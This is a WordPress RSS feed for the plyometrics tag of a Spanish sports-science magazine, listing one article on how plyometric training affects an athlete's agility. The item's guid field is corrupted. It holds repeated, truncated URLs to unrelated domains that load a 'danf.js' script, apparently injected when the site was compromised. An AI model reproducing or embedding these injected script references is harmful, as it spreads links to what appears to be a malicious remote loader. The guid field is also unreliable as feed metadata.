
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Paiderex &#187; Pliometría</title>
	<atom:link href="http://revista.academiamaestre.es/tag/pliometria/feed/" rel="self" type="application/rss+xml" />
	<link>http://revista.academiamaestre.es</link>
	<description></description>
	<lastBuildDate>Mon, 01 Feb 2016 19:41:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>EFECTO DE LA APLICACIÓN DE UN PROGRAMA DE ENTRENAMIENTO BASADO EN LA PLIOMETRIA SOBRE LA AGILIDAD DE UN ATLETA</title>
		<link>http://revista.academiamaestre.es/2012/02/efecto-de-la-aplicacion-de-un-programa-de-entrenamiento-basado-en-la-pliometria-sobre-la-agilidad-de-un-atleta/</link>
		<comments>http://revista.academiamaestre.es/2012/02/efecto-de-la-aplicacion-de-un-programa-de-entrenamiento-basado-en-la-pliometria-sobre-la-agilidad-de-un-atleta/#comments</comments>
		<pubDate>Mon, 27 Feb 2012 19:54:16 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Febrero 2012]]></category>
		<category><![CDATA[Pliometría]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autor: Emiliano Blanco Valero. Estudiamos el efecto que tiene la realización de un programa de entrenamiento de 6 semanas basado en la pliometría sobre la agilidad de un atleta para conocer si es determinante o no en el rendimiento del deportista. Utilizaremos como variable independiente la aplicación, o no, del entrenamiento basado en la pliometría [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2012/02/efecto-de-la-aplicacion-de-un-programa-de-entrenamiento-basado-en-la-pliometria-sobre-la-agilidad-de-un-atleta/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
